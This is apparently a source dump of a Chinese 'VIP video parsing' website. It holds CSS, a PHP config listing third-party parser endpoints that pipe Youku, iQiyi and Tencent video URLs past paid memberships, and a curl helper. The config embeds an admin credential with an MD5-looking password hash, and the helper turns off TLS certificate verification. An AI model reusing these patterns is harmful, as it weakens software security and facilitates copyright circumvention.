.3s;transform:scale(3)} 25 | .head-img-w{top:138px!important;left:95px!important} 26 | .wrap-action-gw{border-bottom:1px solid #dee4e9!important;padding-top:30px!important;padding-bottom:1pc!important} 27 | .cmt-list-number,.title-name-gw-tag,.type-lists,.wrap-name-w{display:none!important} 28 | .cmt-list-type{margin:0!important} 29 | .build-floor-gw{background:#f0f0f0!important} 30 | .block-cont-gw{padding:20px 0!important;border:0!important} 31 | .section-list-w{width:95%!important;margin-left:2%!important} 32 | .head-img-gw img:hover{transition:all .3s;transform:scale(.9)} 33 | 34 | 35 | * { 36 | margin: 0; 37 | padding: 0; 38 | font-family: Arial, "Microsoft Yahei", sans-serif, "宋体"; 39 | } 40 | a{ 41 | text-decoration: none; 42 | } 43 | 44 | /*body滚动条开始*/ 45 | 46 | body::-webkit-scrollbar { 47 | width: 5px; 48 | height: 5px; 49 | } 50 | 51 | body::-webkit-scrollbar-button { 52 | width: 0; 53 | height: 0; 54 | background-color: royalblue; 55 | } 56 | 57 | body::-webkit-scrollbar-track { 58 | background: #ccc; 59 | border-radius: 5px; 60 | } 61 | 62 | body::-webkit-scrollbar-thumb { 63 | background: #0093ff; 64 | border-radius: 5px; 65 | } 66 | 67 | body::-webkit-scrollbar-corner { 68 | background: #82AFFF; 69 | } 70 | 71 | body::-webkit-scrollbar-resizer { 72 | background: #FF0BEE; 73 | } 74 | 75 | .btnColor-jb {} 76 | /*body滚动结束*/ 77 | 78 | header { 79 | background: #333333; 80 | } 81 | 82 | header a { 83 | color: #fff; 84 | } 85 | 86 | header .container { 87 | padding: 0; 88 | } 89 | 90 | header nav.navbar { 91 | margin-bottom: 0; 92 | } 93 | 94 | header nav.navbar-default { 95 | background-color: transparent; 96 | border: 0; 97 | } 98 | 99 | header .navbar-brand { 100 | padding: 0px 0px; 101 | margin: 4px 10px; 102 | } 103 | 104 | .icon-bar { 105 | background-color: #fff !important; 106 | } 107 | 108 | header .navbar-toggle { 109 | border: none; 110 | } 111 | 112 | .navbar-default .navbar-toggle:hover, 113 | .navbar-default .navbar-toggle:focus { 114 | background-color: #333333; 115 | } 116 | 117 | .navbar-default .navbar-nav>li>a:hover, 118 | .navbar-default .navbar-nav>li>a:focus { 119 | color: #fff; 120 | background-color: transparent; 121 | } 122 | .logo { 123 | display: inline-block; 124 | width: 150px; 125 | height: 42px; 126 | float: left; 127 | background-position: -183px 0; 128 | background-image: url(../img/jingling.png); 129 | background-repeat: no-repeat; 130 | } 131 | /*video-box样式*/ 132 | .video-box { 133 | background-image: url(../img/mbj.jpg); 134 | background-repeat: no-repeat; 135 | background-size: cover; 136 | width: 100%; 137 | margin-top: 50px; 138 | padding-right: 8px; 139 | padding-left: 8px; 140 | position: relative; 141 | } 142 | 143 | .video-box>.container { 144 | padding-right: 0px; 145 | padding-left: 0px; 146 | } 147 | 148 | #palybox { 149 | width: 100%; 150 | height: 224px; 151 | background: url(../img/palyboxBg.png); 152 | background-repeat: no-repeat; 153 | background-size: cover; 154 | } 155 | 156 | .tit-name { 157 | text-align: center; 158 | line-height: 35px; 159 | margin-top: 20px; 160 | vertical-align: middle; 161 | color: #3376f3; 162 | background: #0f1856; 163 | vertical-align: middle; 164 | text-overflow: ellipsis; 165 | white-space: nowrap; 166 | word-wrap: normal; 167 | } 168 | 169 | .tit-name h1 { 170 | display: inline-block; 171 | font-size: 16px; 172 | width: 70%; 173 | overflow: hidden; 174 | margin-top: 0px; 175 | margin-bottom: 0px; 176 | vertical-align: middle; 177 | text-overflow: ellipsis; 178 | white-space: nowrap; 179 | word-wrap: normal; 180 | } 181 | 182 | 183 | /*输入input样式*/ 184 | 185 | .url-text { 186 | height: 35px; 187 | border: 1px solid #060c37; 188 | background: #060c37; 189 | color: #3376f3; 190 | } 191 | 192 | .url-box { 193 | background: #0f1856; 194 | padding: 10px 5px; 195 | margin-top: -6px; 196 | } 197 | 198 | div.url-box .input-group-addon { 199 | padding: 0; 200 | border: none; 201 | } 202 | 203 | .url-text:focus { 204 | border-color: #66afe9; 205 | outline: 0; 206 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 8px rgba(102, 175, 233, .6); 207 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 8px rgba(102, 175, 233, .6); 208 | } 209 | 210 | .btn-play { 211 | height: 35px; 212 | padding: 0 10px; 213 | color: #fff; 214 | border: none; 215 | background: -webkit-linear-gradient(left, #19c3ff, #0093ff); 216 | /* Safari 5.1 - 6.0 */ 217 | background: -o-linear-gradient(left, #19c3ff, #0093ff); 218 | /* Opera 11.1 - 12.0 */ 219 | background: -moz-linear-gradient(left, #19c3ff, #0093ff); 220 | /* Firefox 3.6 - 15 */ 221 | background: linear-gradient(left, #19c3ff, #0093ff); 222 | /* 标准的语法 */ 223 | } 224 | 225 | div.url-box .input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle) { 226 | border-top-right-radius: 4px; 227 | border-bottom-right-radius: 4px; 228 | } 229 | 230 | div.url-box .btn-play:focus { 231 | outline-style: none; 232 | color: #FFFFFF; 233 | } 234 | 235 | div.url-box .btn-play:active { 236 | color: #0093ff; 237 | background: -webkit-linear-gradient(left, #ffb199, #fa709a); 238 | /* Safari 5.1 - 6.0 */ 239 | background: -o-linear-gradient(left, #ffb199, #fa709a); 240 | /* Opera 11.1 - 12.0 */ 241 | background: -moz-linear-gradient(left, #ffb199, #fa709a); 242 | /* Firefox 3.6 - 15 */ 243 | background: linear-gradient(left, #ffb199, #fa709a); 244 | /* 标准的语法 */ 245 | } 246 | 247 | div.url-box .btn-play:hover { 248 | color: #FFFFFF; 249 | } 250 | 251 | .tit-gg { 252 | text-align: center; 253 | line-height: 35px; 254 | vertical-align: middle; 255 | color: #3376f3; 256 | background: #0f1856; 257 | vertical-align: middle; 258 | text-overflow: ellipsis; 259 | white-space: nowrap; 260 | word-wrap: normal; 261 | } 262 | .guanggaoBox{ 263 | margin: 40px 0 40px 0; 264 | } 265 | .guanggaoBox img{ 266 | width: 100%; 267 | } 268 | /*logo平台*/ 269 | .title-tit { 270 | font-family: "微软雅黑"; 271 | padding: 20px 0 10px; 272 | } 273 | .title-tit h4 { 274 | display: inline-block; 275 | border-left: 5px solid #0093FF; 276 | padding-left: 10px; 277 | font-size: 16px; 278 | line-height: 1rem; 279 | font-weight: bold; 280 | } 281 | .title-tit p { 282 | display: inline-block; 283 | font-size: 12px; 284 | color: #555555; 285 | } 286 | .logo-lie { 287 | background: #fff; 288 | text-align: center; 289 | padding: 4px 10px; 290 | border-radius: 4px; 291 | border: 1px solid #EEEEEE; 292 | -webkit-transition: border linear .2s, box-shadow linear .2s; 293 | -moz-transition: border linear .2s, box-shadow linear .2s; 294 | -o-transition: border linear .2s, box-shadow linear .2s; 295 | transition: border linear .2s, box-shadow linear .2s; 296 | } 297 | 298 | .logo-lie a { 299 | text-align: center; 300 | } 301 | 302 | .logo-box>.container>.row>.col-xs-4 { 303 | padding-right: 5px; 304 | padding-left: 5px; 305 | margin-bottom: 5px; 306 | } 307 | 308 | .logo-box>.container>.row>.col-lg-12 { 309 | padding-right: 0px; 310 | padding-left: 0px; 311 | } 312 | /*评论区*/ 313 | .cy-box .container{ 314 | padding-right: 0px; 315 | padding-left: 0px; 316 | } 317 | 318 | /*页尾*/ 319 | .footer{ 320 | margin-top: 30px; 321 | background:#26282c; 322 | } 323 | .branding_link{ 324 | display: none; 325 | text-align: center; 326 | } 327 | .footer-tit{ 328 | text-align: center; 329 | color: #888; 330 | } 331 | .toot-tto{ 332 | margin-bottom:3em; 333 | } 334 | .foot-tt{ 335 | color: #777777; 336 | } 337 | .counter{ 338 | margin: 15px 0; 339 | color: rgba(255, 255, 255, 0.7); 340 | } 341 | /*侧滑样式*/ 342 | .ch1{ 343 | display: none; 344 | } 345 | /*屏幕最小768px匹配样式*/ 346 | 347 | @media (min-width: 768px) { 348 | a{ 349 | text-decoration: none; 350 | } 351 | a:hover{ 352 | text-decoration: none; 353 | } 354 | 355 | /*头部导航样式*/ 356 | header { 357 | background: #fff; 358 | background: #FFFFFF; 359 | width: 100%; 360 | height: 70px; 361 | box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.27); 362 | -webkit-box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.27); 363 | } 364 | header a { 365 | color: #333; 366 | } 367 | header .navbar>.container-fluid .navbar-brand { 368 | margin-left: 0px; 369 | } 370 | header .container-fluid { 371 | padding-right: 0px; 372 | padding-left: 0px; 373 | } 374 | header .navbar-brand { 375 | margin: 14px 0px; 376 | margin-left: 0px; 377 | line-height: 40px; 378 | } 379 | .video-box{ 380 | margin-top: 70px; 381 | } 382 | .nav .open>a, 383 | .nav .open>a:hover, 384 | .nav .open>a:focus { 385 | border-color: #0093ff; 386 | } 387 | .logo { 388 | background-position: 0px 0; 389 | } 390 | header .navbar-nav>li>a { 391 | line-height: 40px; 392 | color: #333 !important; 393 | padding-bottom: 11px; 394 | border-bottom: 4px solid #fff; 395 | transition: all 0.5s; 396 | -webkit-transition: all 0.5s; 397 | } 398 | header .navbar-nav>li>a:hover { 399 | color: #0093ff !important; 400 | border-bottom: 4px solid #0093ff; 401 | } 402 | header .active { 403 | background-color: transparent; 404 | } 405 | header .navbar-nav>li>a:focus { 406 | background-color: transparent !important; 407 | } 408 | header ul.dropdown-menu { 409 | border: 1px solid #0093FF; 410 | box-shadow: 0 3px 6px rgba(0, 0, 0, .175); 411 | } 412 | .weibo-box { 413 | width: 300px; 414 | height: 530px; 415 | } 416 | .weibo-tit { 417 | text-align: center; 418 | } 419 | /*video-box样式*/ 420 | .video-box { 421 | background: url(../img/video.jpg); 422 | background-repeat: no-repeat; 423 | background-size: cover; 424 | width: 100%; 425 | } 426 | /*palybox视频窗口*/ 427 | #palybox { 428 | height: 659px; 429 | } 430 | .tit-name { 431 | text-align: left; 432 | margin-top: 30px; 433 | padding: 10px 20px; 434 | color: #fff; 435 | /*background: #fff;*/ 436 | /*color: #333;*/ 437 | border-radius: 5px 5px 0 0; 438 | background: rgba(0,0,0,.49); 439 | } 440 | .tit-name h1{ 441 | font-size: 1.2em; 442 | } 443 | 444 | .tit-name span { 445 | color: #b2b2b2; 446 | font-size: 1em; 447 | vertical-align: middle; 448 | } 449 | .url-box { 450 | background: #fff; 451 | padding: 15px 15px; 452 | } 453 | .url-text { 454 | height: 40px; 455 | background: #f2f3f5; 456 | border: 1px solid #f2f3f5; 457 | border-right: 0px; 458 | border-radius: 20px 0 0 20px; 459 | } 460 | .btn-play { 461 | height: 40px; 462 | color: #fff; 463 | padding: 0 40px; 464 | border-radius: 20px; 465 | } 466 | div.url-box .btn-play:hover { 467 | color: #FFFFFF; 468 | background: -webkit-linear-gradient(left, #ffb199, #fa709a); 469 | /* Safari 5.1 - 6.0 */ 470 | background: -o-linear-gradient(left, #ffb199, #fa709a); 471 | /* Opera 11.1 - 12.0 */ 472 | background: -moz-linear-gradient(left, #ffb199, #fa709a); 473 | /* Firefox 3.6 - 15 */ 474 | background: linear-gradient(left, #ffb199, #fa709a); 475 | /* 标准的语法 */ 476 | } 477 | .url-c { 478 | border-radius: 0px 0 0 0px; 479 | padding: 0 15px; 480 | box-shadow: 0px 1px 2px rgba(153, 153, 153, 0.32) inset; 481 | } 482 | div.url-box .input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle) { 483 | border-top-right-radius: 20px; 484 | border-bottom-right-radius: 20px; 485 | } 486 | .tit-gg { 487 | text-align: left; 488 | border-top: 1px solid #F5F5F5; 489 | padding: 10px 20px; 490 | background: #fff; 491 | color: #999; 492 | } 493 | /*logo平台*/ 494 | .logo-box>.container { 495 | padding-right: 0px; 496 | padding-left: 0px; 497 | } 498 | .logo-box>.container>.row { 499 | margin-right: 0px; 500 | margin-left: 0px; 501 | } 502 | .title-tit { 503 | font-family: "微软雅黑"; 504 | padding: 50px 0 10px; 505 | margin-bottom: 10px; 506 | } 507 | .title-tit h4 { 508 | display: inline-block; 509 | border-left: 5px solid #0093FF; 510 | padding-left: 10px; 511 | font-size: 16px; 512 | font-weight: bold; 513 | } 514 | .title-tit p { 515 | padding-left: 20px; 516 | display: inline-block; 517 | font-size: 12px; 518 | color: #555555; 519 | } 520 | .logo-box>.col-sm-2 { 521 | padding-right: 0px; 522 | padding-left: 0px; 523 | } 524 | .logo-box>.container>.row>.col-xs-4 { 525 | margin-bottom: 15px; 526 | } 527 | .logo-lie { 528 | padding: 10px 15px; 529 | } 530 | .logo-lie:hover { 531 | border: 1px solid #0093FF; 532 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(0, 147, 255, .6); 533 | } 534 | /*页尾*/ 535 | .footer{ 536 | background:#333; 537 | } 538 | .footer a:hover{ 539 | color: #0093ff; 540 | } 541 | .branding_link{ 542 | display: block; 543 | text-align: center; 544 | padding: 10px 0; 545 | } 546 | /*侧滑*/ 547 | .ch1 { 548 | display: block; 549 | position: fixed; 550 | width: 50px; 551 | z-index: 999; 552 | left: 10%; 553 | bottom: 30%; 554 | } 555 | 556 | .ch1 a { 557 | display: inline-block; 558 | } 559 | 560 | 561 | .ch { 562 | position: fixed; 563 | width: 50px; 564 | z-index: 999; 565 | right: 15px; 566 | bottom: 15px; 567 | } 568 | .rollbar-weibo { 569 | background: url(../img/ce.png) no-repeat scroll -156px 0px; 570 | } 571 | 572 | .rollbar-weibo, 573 | .rollbar-item, 574 | .rollbar-weix { 575 | text-align: center; 576 | height: 50px; 577 | border-radius: 0px; 578 | background-color: #666; 579 | color: #fff; 580 | opacity: 0.5; 581 | cursor: pointer; 582 | -webkit-transition: all .3s ease-in-out; 583 | -moz-transition: all .3s ease-in-out; 584 | transition: all .3s ease-in-out; 585 | } 586 | 587 | .rollbar-weibo a, 588 | .rollbar-item a { 589 | width: 50px; 590 | height: 50px; 591 | display: inline-block; 592 | } 593 | 594 | .rollbar-item { 595 | background: url(../img/ce.png) no-repeat scroll -208px 0px; 596 | } 597 | 598 | .rollbar-item:hover, 599 | .rollbar-weibo:hover, 600 | .rollbar-weix:hover { 601 | color: #fff; 602 | opacity: 0.9; 603 | } 604 | 605 | .rollbar-weix { 606 | background: url(../img/ce.png) no-repeat scroll -104px 0px; 607 | } 608 | 609 | .rollbar-weix:hover .weixinx { 610 | display: block; 611 | } 612 | 613 | .weixinx { 614 | display: none; 615 | width: 164px; 616 | height: 206px; 617 | position: absolute; 618 | left: -164px; 619 | bottom: 0; 620 | -webkit-transition: all .3s ease-in-out; 621 | -moz-transition: all .3s ease-in-out; 622 | transition: all .3s ease-in-out; 623 | } 624 | 625 | .weixinx { 626 | background: url(../img/ce.png) no-repeat scroll 0px -52px; 627 | } 628 | } -------------------------------------------------------------------------------- /data/beipy.inc.php: -------------------------------------------------------------------------------- 1 | '北漂鱼全网解析', 4 | 'pcdomain' => 'http://tv.beipy.com', 5 | 'title' => '北漂鱼VIP视频全网解析———Beipy Show(tv.beipy.com)', 6 | 'keywords' => '优酷VIP解析,爱奇艺VIP解析,腾讯VIP解析,乐视VIP解析,芒果VIP解析,全网视频解析,VIP在线解析,视频VIP在线解析,VIP视频在线解析', 7 | 'description' => '本站为广大网友提供优酷VIP解析,爱奇艺VIP解析,腾讯VIP解析,乐视VIP解析,芒果VIP解析等解析服务,让你省去购买视频VIP费用,欢迎大家收藏本站,并将它介绍给您的朋友!', 8 | 'weibourl' => 'http://weibo.com/330122912', 9 | 'gonggao' => '若视频播放异常,尝试刷新或更换接口即可解决!', 10 | 'gonggaourl' => 'http://beipy.com', 11 | 'maurl' => 'http://v.youku.com/v_show/id_XMjcxMjY5NjM1Ng==.html', 12 | 'jiekou1name' => '默认一', 13 | 'jiekou1' => 'http://jiexi.071811.cc/jx2.php?url=', 14 | 'jiekou2name' => '推荐二', 15 | 'jiekou2' => 'http://app.baiyug.cn:2019/vip/?url=', 16 | 'jiekou3name' => '线路三', 17 | 'jiekou3' => 'http://api.nepian.com/ckparse/?url=', 18 | 'jiekou4name' => '线路四', 19 | 'jiekou4' => 'http://j.zz22x.com/jx/?url=', 20 | 'jiekou5name' => '线路五', 21 | 'jiekou5' => 'http://api.wlzhan.com/sudu/?url=', 22 | 'jiekou6name' => '待添加', 23 | 'jiekou6' => '', 24 | 'jiekou7name' => '待添加', 25 | 'jiekou7' => '', 26 | 'jiekou8name' => '待添加', 27 | 'jiekou8' => '', 28 | 'jiekou9name' => '待添加', 29 | 'jiekou9' => '', 30 | 'jiekou10name' => '待添加', 31 | 'jiekou10' => '', 32 | 'topnav' => '
  • 鱼券券
  • ', 33 | 'ch1' => '', 34 | 'guanggao' => '', 35 | 'changyan' => ' 36 |
    37 | ', 75 | 'homelink' => '北漂鱼官网 76 | Beipy Show 77 | 鱼券券', 78 | 'icp' => '京公网安备 434535353450号', 79 | 'foot' => '本站提供的最新电影和电视剧资源均系收集于各大视频网站,本站只提供web页面服务,并不提供影片资源存储,也不参与录制、上传。
    若本站收录的节目无意侵犯了贵司版权,请给网页底部邮箱地址来信,我们会及时处理和回复,谢谢。', 80 | 'tongji' => '', 81 | 'admin_name' => 'beipy', 82 | 'admin_pass' => '8099cb8e23c7375f2166c5dce7d715fd', 83 | 'admin_email' => 'beipy@qq.com', 84 | 'hometopnotice' => '', 85 | 'hometopright' => '', 86 | 'sort' => '1,2,3,4,5,6,7,8,9,10', 87 | 'joinhotkey' => '0', 88 | ); 89 | ?> -------------------------------------------------------------------------------- /data/title.php: -------------------------------------------------------------------------------- 1 | (.*)<\/title>/', $data, $matches); 11 | return $matches[1]; 12 | } 13 | /** curl 获取 https 请求 14 | * @param String $url 请求的url 15 | * @param Array $data 要發送的數據 16 | * @param Array $header 请求时发送的header 17 | * @param int $timeout 超时时间,默认30s 18 | */ 19 | function curl_https($url, $data=array(), $header=array(), $timeout=30){ 20 | $ch = curl_init(); 21 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查 22 | curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); // 从证书中检查SSL加密算法是否存在 23 | curl_setopt($ch, CURLOPT_URL, $url); 24 | curl_setopt($ch, CURLOPT_HTTPHEADER, $header); 25 | //curl_setopt($ch, CURLOPT_POST, true); 26 | //curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); 27 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 28 | //2019-2-23 13:09:31 修复报错title curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); 29 | if (ini_get('open_basedir') == '' && ini_get('safe_mode' == 'Off')) { 30 | curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); 31 | } 32 | curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 33 | $response = curl_exec($ch); 34 | if($error=curl_error($ch)){ 35 | die($error); 36 | } 37 | curl_close($ch); 38 | return $response; 39 | } 40 | 41 | ?> 42 | -------------------------------------------------------------------------------- /favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/favicon.ico -------------------------------------------------------------------------------- /footer.php: -------------------------------------------------------------------------------- 1 | 25 | 26 |
    27 |
    28 | 29 |
    30 |
    31 |
    32 |
    33 |
    34 |
    35 | 36 |
    37 | 38 | 72 | -------------------------------------------------------------------------------- /img/1px.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/1px.jpg -------------------------------------------------------------------------------- /img/TestImg/2019-2-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/TestImg/2019-2-25.png -------------------------------------------------------------------------------- /img/TestImg/Title.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/TestImg/Title.jpg -------------------------------------------------------------------------------- /img/TestImg/WX20180613-173014.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/TestImg/WX20180613-173014.jpg -------------------------------------------------------------------------------- /img/TestImg/dashang.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/TestImg/dashang.png -------------------------------------------------------------------------------- /img/TestImg/ezgif27.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/TestImg/ezgif27.gif -------------------------------------------------------------------------------- /img/TestImg/zhanshi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/TestImg/zhanshi.jpg -------------------------------------------------------------------------------- /img/banner.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/banner.psd -------------------------------------------------------------------------------- /img/beian.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/beian.png -------------------------------------------------------------------------------- /img/ce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/ce.png -------------------------------------------------------------------------------- /img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/favicon.ico -------------------------------------------------------------------------------- /img/gou.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/gou.gif -------------------------------------------------------------------------------- /img/gou.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/gou.png -------------------------------------------------------------------------------- /img/jingling.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/jingling.png -------------------------------------------------------------------------------- /img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo.png -------------------------------------------------------------------------------- /img/logo/1905logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/1905logo.png -------------------------------------------------------------------------------- /img/logo/acfun.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/acfun.png -------------------------------------------------------------------------------- /img/logo/baofeng.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/baofeng.png -------------------------------------------------------------------------------- /img/logo/bilibili.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/bilibili.png -------------------------------------------------------------------------------- /img/logo/cntvlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/cntvlogo.png -------------------------------------------------------------------------------- /img/logo/fengxing.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/fengxing.png -------------------------------------------------------------------------------- /img/logo/hunantvlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/hunantvlogo.png -------------------------------------------------------------------------------- /img/logo/iqiyilogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/iqiyilogo.png -------------------------------------------------------------------------------- /img/logo/kankan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/kankan.png -------------------------------------------------------------------------------- /img/logo/letvlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/letvlogo.png -------------------------------------------------------------------------------- /img/logo/mtimelogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/mtimelogo.png -------------------------------------------------------------------------------- /img/logo/pptv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/pptv.png -------------------------------------------------------------------------------- /img/logo/qqlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/qqlogo.png -------------------------------------------------------------------------------- /img/logo/sinalogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/sinalogo.png -------------------------------------------------------------------------------- /img/logo/sohulogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/sohulogo.png -------------------------------------------------------------------------------- /img/logo/tudoulogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/tudoulogo.png -------------------------------------------------------------------------------- /img/logo/wasulogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/wasulogo.png -------------------------------------------------------------------------------- /img/logo/yinyuetailogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/yinyuetailogo.png -------------------------------------------------------------------------------- /img/logo/youkulogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/logo/youkulogo.png -------------------------------------------------------------------------------- /img/mbj.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/mbj.jpg -------------------------------------------------------------------------------- /img/palyboxBg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/palyboxBg.png -------------------------------------------------------------------------------- /img/release.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /img/tvico.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/tvico.png -------------------------------------------------------------------------------- /img/tvlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/tvlogo.png -------------------------------------------------------------------------------- /img/video.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/video.jpg -------------------------------------------------------------------------------- /img/video.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beipy/BeipyVideoResolution/37e871d340ce8969c5f769b26966e01173ba233e/img/video.psd -------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | <?php echo $aik['title'];?> 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 88 | 89 |
    90 |
    91 |
    92 | 正在播放: 93 |

    音乐MV:Hwi Hwi!

    94 |
    95 | 96 | 97 |
    98 |
    99 | 100 |
    101 | 133 |
    134 |
    135 | 136 | 137 |
    138 |
    139 | 140 |
    141 |
    142 | 143 |
    144 |
    145 |
    146 |
    147 |
    148 |
    149 | 150 |
    151 |
    152 | 153 |
    154 |
    155 |
    156 |
    157 |
    158 |

    现已支持网站

    159 |

    解析已支持26家视频网站,10家音乐网站,更多惊喜请自行探索。

    160 |
    161 |
    162 |
    163 | 164 |
    165 |
    166 |
    167 | 168 | 169 | 170 |
    171 |
    172 |
    173 |
    174 | 175 | 176 | 177 |
    178 |
    179 |
    180 |
    181 | 182 | 183 | 184 |
    185 |
    186 |
    187 |
    188 | 189 | 190 | 191 |
    192 |
    193 |
    194 |
    195 | 196 | 197 | 198 |
    199 |
    200 |
    201 |
    202 | 203 | 204 | 205 |
    206 |
    207 |
    208 | 209 | 210 |
    211 |
    212 |
    213 | 214 | 215 | 216 |
    217 |
    218 |
    219 |
    220 | 221 | 222 | 223 |
    224 |
    225 |
    226 |
    227 | 228 | 229 | 230 |
    231 |
    232 |
    233 |
    234 | 235 | 236 | 237 |
    238 |
    239 |
    240 |
    241 | 242 | 243 | 244 |
    245 |
    246 |
    247 |
    248 | 249 | 250 | 251 |
    252 |
    253 |
    254 | 255 | 256 |
    257 |
    258 |
    259 | 260 | 261 | 262 |
    263 |
    264 |
    265 |
    266 | 267 | 268 | 269 |
    270 |
    271 |
